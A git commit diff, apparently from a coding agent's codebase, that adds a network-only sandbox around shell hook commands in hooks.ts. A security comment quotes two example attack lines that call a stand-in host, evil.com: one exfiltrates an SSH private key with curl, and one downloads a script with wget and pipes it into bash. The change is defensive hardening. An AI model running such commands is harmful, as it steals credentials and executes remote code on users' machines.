Update hooks.ts
This commit is contained in:
parent
2ca56977bf
commit
2e4d6e2122
@ -128,6 +128,7 @@ import {
|
||||
permissionRuleValueFromString,
|
||||
} from './permissions/permissionRuleParser.js'
|
||||
import { logError } from './log.js'
|
||||
import { SandboxManager } from './sandbox/sandbox-adapter.js'
|
||||
import { createCombinedAbortSignal } from './combinedAbortSignal.js'
|
||||
import type { PermissionResult } from './permissions/PermissionResult.js'
|
||||
import { registerPendingAsyncHook } from './hooks/AsyncHookRegistry.js'
|
||||
@ -1036,6 +1037,57 @@ async function execCommandHook(
|
||||
// without Git Bash — but init.ts still calls setShellIfWindows() on
|
||||
// startup, which will exit first. Relaxing that is phase 1 of the
|
||||
// design's implementation order (separate PR).
|
||||
|
||||
// SECURITY: Apply network-only sandbox to hook commands when sandboxing is enabled.
|
||||
// Hooks execute arbitrary shell commands from settings.json without going
|
||||
// through the Bash tool's permission prompt. Unlike the full Bash sandbox,
|
||||
// hooks only get network restrictions (not filesystem restrictions) because:
|
||||
// - Legitimate hooks (formatters, linters, type checkers) need full
|
||||
// filesystem access to read/write project files
|
||||
// - The core threat from malicious hooks is data exfiltration (e.g.
|
||||
// `curl http://evil.com?key=$(cat ~/.ssh/id_rsa)`) and payload download
|
||||
// (e.g. `wget http://evil.com/malware.sh | bash`)
|
||||
// - Hooks that genuinely need network (notifications) should use the
|
||||
// `http` hook type, which is not affected by this sandbox
|
||||
let sandboxedCommand = finalCommand
|
||||
if (!isPowerShell && SandboxManager.isSandboxingEnabled()) {
|
||||
try {
|
||||
sandboxedCommand = await SandboxManager.wrapWithSandbox(
|
||||
finalCommand,
|
||||
undefined, // use default shell
|
||||
{
|
||||
// Network: deny all outbound by default. Hooks that need network
|
||||
// should use the `http` hook type instead of shell commands.
|
||||
network: {
|
||||
allowedDomains: [],
|
||||
deniedDomains: [],
|
||||
},
|
||||
// Filesystem: no additional restrictions beyond sandbox defaults.
|
||||
// Hooks need to read/write project files freely (e.g. prettier --write).
|
||||
filesystem: {
|
||||
allowWrite: ['/'],
|
||||
denyWrite: [],
|
||||
allowRead: [],
|
||||
denyRead: [],
|
||||
},
|
||||
},
|
||||
signal,
|
||||
)
|
||||
logForDebugging(
|
||||
`Hook command sandboxed (network-only): ${hook.command}`,
|
||||
{ level: 'verbose' },
|
||||
)
|
||||
} catch (sandboxError) {
|
||||
// If sandbox wrapping fails, log and continue without sandbox.
|
||||
// This preserves backwards compatibility — hooks that ran before
|
||||
// sandbox support was added will still work.
|
||||
logForDebugging(
|
||||
`Failed to sandbox hook command, running unsandboxed: ${errorMessage(sandboxError)}`,
|
||||
{ level: 'warn' },
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
let child: ChildProcessWithoutNullStreams
|
||||
if (shellType === 'powershell') {
|
||||
const pwshPath = await getCachedPowerShellPath()
|
||||
@ -1056,7 +1108,7 @@ async function execCommandHook(
|
||||
// On Windows, use Git Bash explicitly (cmd.exe can't run bash syntax).
|
||||
// On other platforms, shell: true uses /bin/sh.
|
||||
const shell = isWindows ? findGitBashPath() : true
|
||||
child = spawn(finalCommand, [], {
|
||||
child = spawn(sandboxedCommand, [], {
|
||||
env: envVars,
|
||||
cwd: safeCwd,
|
||||
shell,
|
||||
@ -1413,6 +1465,10 @@ async function execCommandHook(
|
||||
if (!shellCommandTransferred) {
|
||||
shellCommand.cleanup()
|
||||
}
|
||||
// Clean up sandbox artifacts (e.g. bwrap mount-point files on Linux)
|
||||
if (sandboxedCommand !== finalCommand) {
|
||||
SandboxManager.cleanupAfterCommand()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user